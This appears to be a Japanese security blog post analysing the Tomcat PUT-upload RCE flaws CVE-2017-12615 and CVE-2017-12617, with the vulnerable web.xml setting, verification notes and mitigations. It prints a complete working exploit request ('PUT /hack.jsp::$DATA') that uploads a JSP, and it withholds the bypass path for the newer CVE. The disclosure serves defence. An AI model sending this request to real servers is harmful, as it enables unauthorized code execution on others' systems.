http80

Web security research

Tomcat RCE CVE-2017-12615, CVE-2017-12617 / Tomcatの一連のRCEの脆弱性について

★CVE-2017-12617 tomcat: Remote Code Execution bypass for CVE-2017-12615

f:id:reinforchu:20170924053915p:plain

Bugzillaに投げられていますし、SNSにもPoCが出回ってきてますので、本件に関して少し取りまとめます。お決まりのお断りをしておきますが、所属する組織の公式の見解ではないということ、しっかり検証したわけではないので、私個人の見解が誤った見方を示していて、それを鵜呑みにして業務上影響が出ても刺さないでください><✘

結論から先に書きます。

・怪しいCVE-2017-12615に対するパッチをBypassするPoCはホンモノ

・Windows以外のOSにも影響する(少なくともmacOS 10.12.6とUbuntu16.04で再現)

・現行のバージョンのTomcatに影響する(最新の7系8系9系は検証しました)

・インストール直後の設定では影響を受けない

・PUT メソッドが有効になっている場合、conf/web.xmlを要確認

まだパッチのパッチが出てない(記事執筆時点)

まずはconf/web.xmlを確認しましょう。

 

●経緯

先日、JPCERT/CCからApache Tomcat における脆弱性に関する注意喚起が出ました。RCEの脆弱性ということで騒がれましたが、CVE-2017-12615はWindowsに限定される影響範囲でしたので、ほっとされている方々が多く見受けられました。

ところが、怪しいところに、CVE-2017-12615に対するパッチでの対策をBypassするPoCが投下されました。それどころか、その他のOS(Linuxなど)にまで影響するという迷惑極まりないものです。

新たにCVE-2017-12617が割り当てられましたので状況が変わりました。という訳で再度検証し、取りまとめてみました。

◆参考情報

Bugzilla - Bug 1494283 – CVE-2017-12617 tomcat: Remote Code Execution bypass for CVE-2017-12615

This issue affects Apache Tomcat versions up to and including 7.0.81. The fix for CVE-2017-12615 does not prevent this issue.

 

●前提条件

CVE-2017-12615及びCVE-2017-12617は要するに、Tomcatの設定ファイルの「conf/web.xml」のservlet要素のinit-param要素のreadonlyをfalseに設定していて、PUTメソッドを受け付けている場合に、細工したHTTPリクエストを送ることで、任意のJSPファイルをアップロードされリモートでコードが実行可能というもの。簡潔に言うと、PUTで書き込みが可能になっているかどうか。

設定ファイル例: conf/web.xml

<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

このような状態になっている場合、脆弱性の影響を受ける可能性があります。

ただし、インストール直後のままの設定の場合、デフォルトが無効(true)になっているので、攻撃の影響は受けません。何故ならそもそもPUTメソッドを使っても、コンテキストが読み出し専用なので、403 Forbiddenが返ってくるからです。

 

●CVE-2017-12615の概要

そもそもCVE-2017-12615について解説しておきます。前項でも述べた通り、JSPファイルのアップロードを介して任意のコードが実行可能という部分はCVE-2017-12617と共通です。

まずは、WindowsバイナリのTomcat 7.0.79を召喚します。

f:id:reinforchu:20170924025812p:plain

百聞は一見に如かず。次のリクエストを投げると、攻撃が成立します。

f:id:reinforchu:20170924031438p:plain

localhost:8080/hack.jspへアクセスします。

f:id:reinforchu:20170924032029p:plain

任意のJSPファイルがアップロードされ実行されててしまいました。

f:id:reinforchu:20170924032703p:plain

rootのディレクトリを見てみると、しっかり任意のJSPファイルが作成されています。

Payloadは次の通り。

PUT /hack.jsp::$DATA HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 145

 

<%@ page contentType="text/html;charset=UTF-8" %><html><body><h1>Hacked by @reinforchu</h1><% out.println(new java.util.Date()); %></body></html>

ここでの肝は、リクエストURIのファイル名末尾の「::$DATA」という如何にも怪しい文字列を使い細工をしているところ。

「/hack.jsp::$DATA」という普段見られない表記方法を使っています。これはNTFSのAlternate Data Stream(代替データストリーム)と呼ばれるもので、1対多の関係で1つのファイル・ディレクトリに複数のデータが保存できるというもの。しばしばマルウェアに悪用されます。[*要出典]

表記方法は「ファイル名:名前:型」というルールになっています。この脆弱性は、こういったNTFSのADSの表記を悪用したものです。

ここは憶測ですが、リクエストURIの処理に不備があり、ファイル名の終端がそもそもファイル名に使えない記号が入っているような「変なもん」が来るとは想定外で、しかもOS上では正しく解釈されることの相違で、何かのチェック処理で一致せずにバイパス出来てしまう、とかそのあたりなのでは。

CVE-2017-12615は対策されていて、最新のバージョンにアップデートすれば良いのですが、この対策はバイパス可能でCVE-2017-12617という新たな脆弱性が出てきたので、実質的には直ってないです。

 

●CVE-2017-12617の検証

CVE-2017-12615の対策をバイパスし、Windows以外のOSにも影響するのがCVE-2017-12617です。パッチが出てないので多くは語れませんが、下記の通り検証しました。

◆検証環境

OS: macOS Sierra 10.12.6

Java:  java version "1.8.0_144" / JDK 8u144

Tomcat: Apache Tomcat 7.0.81 / apache-tomcat-7.0.81.tar.gz ※Tomcat公式のダウンロードページが死んでたので、archivesから引っ張ってきました。

まずは、今現在最新のTomcat 7.0.81を召喚します。

f:id:reinforchu:20170924015800p:plain

百聞は一見に如かず。次のリクエストを投げます。

f:id:reinforchu:20170924022534p:plain

もっとも気になる部分は墨塗りにしています。

f:id:reinforchu:20170924020118p:plain

201 Createdが返ってきました。

その後、localhost:8080/hack.jsp へアクセスすると、なんということでしょう。任意のJSPがアップロードできてしまいました。

f:id:reinforchu:20170924020048p:plain

Payloadは次の通り。

PUT /〜見せてあーげない〜

……
Content-Length: 145

 

<%@ page contentType="text/html;charset=UTF-8" %><html><body><h1>Hacked by @reinforchu</h1><% out.println(new java.util.Date()); %></body></html>

具体的な攻撃コードは公開しません。なんとパッチも出てないので怖いですね!

ちなみに、Ubuntu16.04上の最新のバージョンTomcat 9.0.0.M27と、Tomcat 8.5.21でも攻撃が刺さりました。この調子でいくと、CentOSなどの他のディストリビューションでも同様に刺さるかと思います。

詳細な内容はパッチが出て、世の中的に認知され対策されてきたら書こうかと思います。続報を待て!

※ちなみにぼくを物理的に叩いてもExploitなんかはドロップしませんので!ぼくには刺さないでください。万が一PoCを入手しても、自分の環境で検証する程度にしておきましょうね。

 

●保険的対策 

今のところパッチが出ていない以上は、web.xmlの設定を変えて無効化にするか、PUTを使えなくするか、WAF/IPSのシグネチャでブロックするしかなさそうです。既に某製品はシグネチャが出てるみたいですね。PUTで書き込みをするようなWebアプリケーションは、PUTを無効化にするのは厳しいので結構痛い脆弱性のようです。

 

●ADSの捕捉説明

ADS(代替データストリーム)はとても面白い機能なので、少しご紹介しておきます。

ADSはディレクトリに対してもデータが保存可能で、例えば「新しいフォルダ」に「にゃーん」という内容の「nya.log」という名前の「$DATA」型が保存される、といった具合。なお、nya.logというファイルが保存される訳ではなく、nya.logという名前のADSが保存されるという意味です。

コマンドで叩くとこんなかんじです。

f:id:reinforchu:20170924035418p:plain

ちなみにadsフォルダの中身です。

f:id:reinforchu:20170924035513p:plain

「にゃーん」というデータはどこにもない!!!(CTFで使えそう)

詳細はMSDNのドキュメントをご参照ください。[MS-FSCC]: NTFS Streams

なお、ADSの日本語の情報に関しては、minrさんのQiitaの記事を参考にしました。ありがとうございます。

qiita.com

存在自体は認知していましたが、NTFSのADS機能は改めて調べるとめっちゃ面白い機能ですね。色んな変なことする時に応用できそう。

 

余談ですが、つい最近Java9が出ましたね。Java最高めう!

わたしは秋葉原で会えるただのおたくですよ。